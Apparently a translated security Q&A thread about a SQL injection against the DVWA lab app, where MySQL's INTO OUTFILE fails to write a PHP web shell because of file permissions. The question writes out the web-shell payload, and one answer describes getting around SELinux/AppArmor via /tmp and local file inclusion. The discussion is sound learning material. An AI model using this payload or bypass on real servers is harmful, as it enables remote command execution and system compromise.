Come gestire l'Errcode 13 di MySQL quando si tenta di scrivere una shell

4

La mia macchina d'attacco sta eseguendo Kali e il server esegue CentOS 6.4 con DVWA.

Sto provando a scrivere una shell tramite un'iniezione SQL. Il carico utile è

' UNION SELECT '', '<?PHP system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/dvwa/shell.php';#

Quando invio mi appare il seguente errore:

Can't create/write to file 'var/www/html/dvwa/shell.php' (Errcode13)

La ricerca del problema sembra essere un problema di privilegi o SELinux. Ho notato che se cambio la destinazione in './shell.php' , il file viene salvato nel server su /var/lib/mysql , il cui proprietario è mysql (il proprietario di /var/www/html/* è apache ).

Supponendo che si tratti di un server remoto a cui non ho accesso, come posso gestire questa situazione per scrivere correttamente la shell su /var/www/html/dvwa/ ?

    
posta yzT 29.06.2013 - 19:53
fonte

2 risposte

3

Questo errore sta accadendo perché MySQL non ha i privilegi di scrittura su questa directory: /var/www/html/dvwa/ .

La maggior parte delle moderne distribuzioni Linux utilizzano AppArmor o SELinux per isolare i processi daemon. È probabile che /var/www/ non possa essere scritto con MySQL. Tuttavia, forse è possibile che MySQL legga da questa directory. Questa affermazione vale per le serie di regole di AppArmor di Ubuntu al momento di questo post.

Ho aggirato questa limitazione in Ubuntu scrivendo il mio payload PHP in /tmp , e poi ho usato una vulnerabilità Local File Include per eseguire il payload. Ciò mi ha permesso di scrivere un exploit di esecuzione di codice in modalità remota per PHP-Nuke .

    
risposta data 30.06.2013 - 03:28
fonte
0

Idealmente (se sei l'amministratore del server) le posizioni dei file accessibili da MySQL rispetto a quelle accessibili da Apache e PHP non si intersecano. In genere /tmp è accessibile a tutti, ma un sistema ben progettato utilizzerà directory temporanee separate per ogni servizio negando esplicitamente l'accesso a /tmp .

In altre parole, idealmente tale exploit è impossibile (questo è ciò che "idealmente" significa), ma in pratica trovi un buco, un po 'di supervisione, che ti permette di superare. Questo potrebbe dover essere eseguito sistema per sistema.

    
risposta data 30.06.2013 - 22:42
fonte

Leggi altre domande sui tag